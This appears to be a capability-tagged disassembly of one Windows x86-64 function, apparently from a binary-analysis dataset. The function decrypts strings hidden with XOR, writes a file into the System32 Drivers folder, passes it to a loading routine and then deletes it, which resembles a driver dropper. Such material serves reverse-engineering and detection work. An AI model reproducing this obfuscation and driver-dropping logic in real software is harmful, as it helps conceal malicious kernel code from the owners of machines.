Function at 0x140009650
Capabilities:
Delete file
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x410
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400c4080]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor ebx, ebx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], rax
movabs rax, 0x5ddc95353d53eb1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs r12, 0xf57f0b2f37a264fc
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs r13, 0x5ddca7020a65df2b
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rbx
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x140009727
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x120]
call fcn.14001ea80
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x1a8]
lea rcx, [0x1400e4400]
call fcn.14008ae60
nop
cmp byte [0x1400e4610], 0
jne 0x140009974
mov edx, 7
lea rcx, [rbp + 0x140]
call fcn.140017530
lea rcx, [rbp + 0x140]
call fcn.140006580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x29a8c2452a38f270
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x9013626917c50a95
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xf8ecdc85d0727c66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x4cbe4b49790a0998
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs r14, 0xd695b8e4b5205c15
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs r15, 0x4cbe4b69222a27b6
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
lea rdx, [rbp + 0x60]
vzeroupper
call fcn.140006660
mov edx, 4
lea rcx, [rbp + 0x160]
call fcn.140017530
lea rcx, [rbp + 0x160]
call fcn.140006580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5ddca7706517ad4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
call fcn.140006660
mov edx, 7
lea rcx, [rbp + 0x180]
call fcn.140017530
lea rcx, [rbp + 0x180]
call fcn.140006580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rsi, 0x5ddca7020a65820b
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140006660
lea rdx, [0x140006620]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1194
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
xor r8d, r8d
lea rdx, [0x1400ac630]
lea rcx, [rbp + 0xa0]
call fcn.14001ea80
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400099f9
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400099f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009c6c
call fcn.140095770
movdqa xmm0, xmmword [0x1400b4830]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x29a8c2452a38f470
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x9013626917c50a95
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xf8ecdc85d0727c66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x4cbe4b49790a0998
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs r14, 0xd695b8e4b5205c15
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs r15, 0x4cbe4b69222a27b6
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea rdx, [rbp + 0xc0]
vzeroupper
call fcn.140006660
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
xor r8d, r8d
lea rdx, [0x1400ac630]
lea rcx, [rbp + 0xe0]
call fcn.14001ea80
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140009b77
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009c6c
call fcn.140095770
movdqa xmm0, xmmword [0x1400b4830]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5ddca7020a65b444
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
call fcn.140006660
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
xor r8d, r8d
lea rdx, [0x1400ac630]
lea rcx, [rbp + 0x100]
call fcn.14001ea80
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140009c78
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140095770
movdqa xmm0, xmmword [0x1400b4830]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rsi, 0x5ddca7020a65820b
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
call fcn.140006660
mov ecx, 0x1194
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:WindowsSystem32Drivers_ntdifs.sys
lea rcx, [rbp + 0x1c0]
call fcn.14001afb0
nop
mov r8, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
sub r8, rdx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1c8]
call fcn.14001cdd0
test rax, rax
jne 0x140009d75
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1c0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rbp + 0x1a0], ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.C:WindowsSystem32Drivers_ndiverts.sys
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000a05a
cmp rdi, 0xffffffffffffffff
je 0x140009df5
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1a0]
mov r8d, 0x6650
lea rdx, [0x1400c42f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x14000a05a
call fcn.140009620
mov edx, 7
lea rcx, [rbp + 0x180]
call fcn.140017530
lea rcx, [rbp + 0x180]
call fcn.140006580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x31b5c6442a38f270
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x9a132b4043820099
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xa2f6d691d3003874
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x6c906547514448df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x18da2d61271a884
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rdx, 0x8a8630e3335aa660
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x18da2d6127188df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm2, xmmword [rbp + 0x80]
vpxor xmm2, xmm2, xmmword [rbp + 0x320]
vmovdqa xmmword [rbp + 0x80], xmm2
lea rdx, [rbp + 0x60]
vzeroupper
call fcn.140006660
mov edx, 4
lea rcx, [rbp + 0x160]
call fcn.140017530
lea rcx, [rbp + 0x160]
call fcn.140006580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5ddca7706517ad4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140006660
mov edx, 7
lea rcx, [rbp + 0x140]
call fcn.140017530
lea rcx, [rbp + 0x140]
call fcn.140006580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
call fcn.140006660
lea rdx, [0x140006620]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1194
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
lea rdx, str.C:WindowsSystem32Drivers_ntdifs.sys
lea rcx, str.C:WindowsSystem32Drivers_ndiverts.sys
call fcn.140004b50
lea rcx, str.C:WindowsSystem32Drivers_ndiverts.sys
test eax, eax
js 0x14000a133
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, str.C:WindowsSystem32Drivers_ntdifs.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1c8]
call fcn.14001af40
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x268]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x1a8]
test rcx, rcx
je 0x14000a12c
mov rdx, qword [rbp + 0x1b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1d7
call fcn.140095770
mov al, 1
jmp 0x14000a1e5
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, str.C:WindowsSystem32Drivers_ntdifs.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1c8]
call fcn.14001af40
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x268]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x1a8]
test rcx, rcx
je 0x14000a1e3
mov rdx, qword [rbp + 0x1b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a1de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140095770
xor al, al
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140095750
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret